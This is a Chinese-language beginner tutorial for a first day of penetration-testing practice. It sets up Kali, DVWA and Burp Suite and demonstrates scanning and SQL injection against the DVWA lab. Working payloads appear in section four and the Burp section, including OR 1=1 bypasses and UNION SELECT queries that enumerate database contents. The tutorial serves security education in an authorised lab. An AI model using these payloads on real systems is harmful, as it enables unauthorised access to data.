适合人群:零基础想入坑渗透测试的新手、安全专业学生、转行网络安全开发者
前置知识:基本的计算机操作、网络常识(知道IP、端口、域名是什么)
学习目标:第一天搭建好渗透测试环境,跑通第一个漏洞利用
一、学习路线全景
渗透测试学习可以分六个阶段,今天只走第一步:
Day1 搭建环境 + 第一次漏洞利用
Day2 信息收集与资产测绘
Day3 Web漏洞挖掘(OWASP Top 10)
Day4 内网渗透入门
Day5 实战靶场与报告撰写
Day6 总结与进阶方向
核心原则:先动手再理论。 第一天不背概念,直接搭环境打靶场。
二、环境搭建(30分钟搞定)
2.1 安装 Kali Linux(攻击机)
最简单的方式是虚拟机:
# 方式一:VMware(推荐新手)
# 1. 下载 VMware Workstation Player(免费)
# 2. 下载 Kali Linux VM 镜像
# https://www.kali.org/get-kali/#kali-virtual-machines
# 3. 解压后双击 .vmx 文件即可启动
# 方式二:WSL2(Windows用户)
# 在 Microsoft Store 安装 Kali Linux
wsl --install -d kali-linux
Kali 默认账号密码:kali / kali
2.2 安装靶场(目标机)
# 推荐:DVWA(Damn Vulnerable Web Application)
# 最简单的 Web 漏洞靶场
git clone https://github.com/digininja/DVWA.git
cd DVWA
cp config/config.inc.php.dist config/config.inc.php
# 启动 Docker 版本(需要 Docker)
docker run --rm -it -p 8080:80 vulnerables/web-dvwa
访问 http://localhost:8080,默认账号:admin / password
2.3 安装 Burp Suite(抓包工具)
# Burp Suite Community Edition(免费版)
# 下载地址:https://portswigger.net/burp/communitydownload
# 安装后配置浏览器代理为 127.0.0.1:8080
# 安装 CA 证书:访问 http://burp → 下载 cacert.der → 导入浏览器
三、渗透测试核心流程
渗透测试标准流程(PTES 标准):
信息收集 → 漏洞扫描 → 漏洞利用 → 权限提升 → 横向移动 → 报告
① ② ③ ④ ⑤ ⑥
第一天只做①②③: 信息收集 → 扫描 → 利用!
四、实操:第一次漏洞利用
4.1 第一步:确认目标存活
# 查看 Kali 自己的 IP
ip addr
# Ping 靶机(确认网络通)
ping 192.168.x.x -c 4
# 快速端口扫描
nmap -T4 -F 192.168.x.x
常用参数说明:
| 参数 | 作用 |
|---|---|
-T4 | 扫描速度(T0-T5,T4较快) |
-F | 快速扫描(仅Top 100端口) |
-sV | 服务版本探测 |
-sC | 默认脚本扫描 |
-p- | 全端口扫描(所有65535个端口) |
4.2 第二步:扫描漏洞
# 对 DVWA 靶机做全面扫描
nmap -sV -sC 192.168.x.x -oN scan_result.txt
# 用 nikto 做 Web 漏洞扫描
nikto -h http://192.168.x.x:8080
# 目录爆破(发现隐藏页面)
gobuster dir -u http://192.168.x.x:8080 -w /usr/share/wordlists/dirb/common.txt
4.3 第三步:发现漏洞
DVWA 靶场默认存在多个漏洞。访问 http://192.168.x.x:8080/login.php,用 admin/password 登录。
把 DVWA 安全等级设为 Low(点击 DVWA Security → Low → Submit):
DVWA Security → Low → Submit
然后访问 SQL Injection 页面,这是最常见也最危险的漏洞。
4.4 第四步:SQL注入利用(第一个漏洞!)
在 SQL Injection 页面输入:
' OR 1=1 --
点击 Submit——所有用户数据全部显示出来了! 🎉
这就是经典的 SQL 注入,你用 ' OR 1=1 -- 绕过了登录验证,让数据库返回了所有记录。
原理拆解:
后台原本的SQL是:
SELECT * FROM users WHERE user_id = '输入的内容'
你输入的是 ' OR 1=1 --,实际执行的SQL变成了:
SELECT * FROM users WHERE user_id = '' OR 1=1 -- '
OR 1=1 永远为真,--注释掉了后面的引号,所以返回了全部数据。
4.5 第五步:进一步利用
在同一个页面尝试获取数据库信息:
# 看数据库版本
' UNION SELECT 1,@@version --
# 看当前用户
' UNION SELECT 1,user() --
# 列出所有表
' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --
五、Burp Suite 抓包改包实战
# 配置浏览器代理
# Firefox/Chrome → 设置 → 网络代理 → 127.0.0.1:8080
# 打开 Burp Suite → Proxy → Intercept → Intercept is on
# 浏览器访问 DVWA 的登录页面
# 输入任意用户名密码点击登录
# Burp 会拦截到请求包
修改请求包:
- 在 Burp 中看到
username=admin&password=test - 改成
username=admin' OR 1=1 -- &password=test - 点击 Forward 发送
- 浏览器返回登录成功!
这就是 中间人攻击的基础——在请求到达服务器前修改数据。
六、第一天学习总结
今天你完成了:
| 项目 | 状态 |
|---|---|
| Kali Linux 搭建 | ✅ 攻击机就绪 |
| DVWA 靶场搭建 | ✅ 目标机就绪 |
| Burp Suite 配置 | ✅ 抓包工具就绪 |
| Nmap 端口扫描 | ✅ 学会扫目标 |
| SQL注入利用 | ✅ 第一个漏洞成功 |
| Burp 抓包改包 | ✅ 学会改请求 |
第一天不需要记住所有命令,只需要理解:
- 渗透测试 = 按流程找漏洞
- Kali 是工具箱,DVWA 是练习场
- SQL注入是最容易入门的漏洞类型
明天的学习预告:信息收集
- 子域名收集(subfinder、amass)
- 指纹识别(whatweb、wappalyzer)
- Google Hacking 语法
- FOFA/Shodan 搜索
七、常见陷阱
| # | 新手最容易犯的错 | 正确做法 |
|---|---|---|
| 1 | 急着学高级技巧,基础没打牢 | 老老实实从DVWA Low难度开始 |
| 2 | 装了工具但不知道怎么用 | 每个工具至少跑一次 --help |
| 3 | 遇到问题不读报错信息 | 90%的问题读报错就能解决 |
| 4 | 第一天就想挖SRC/实战 | 至少练完DVWA全部14关再考虑 |
| 5 | 忽略法律法规 | 只在授权靶场和自己搭建的环境中练习 |
八、速查表
# 今日学习命令速查
nmap -sV 192.168.x.x # 端口+版本扫描
gobuster dir -u URL -w wordlist # 目录爆破
nikto -h URL # Web漏洞扫描
sqlmap -u URL --dbs # SQL注入自动化
第一天最难的不是技术,是决心。环境搭好了,剩下的就是坚持。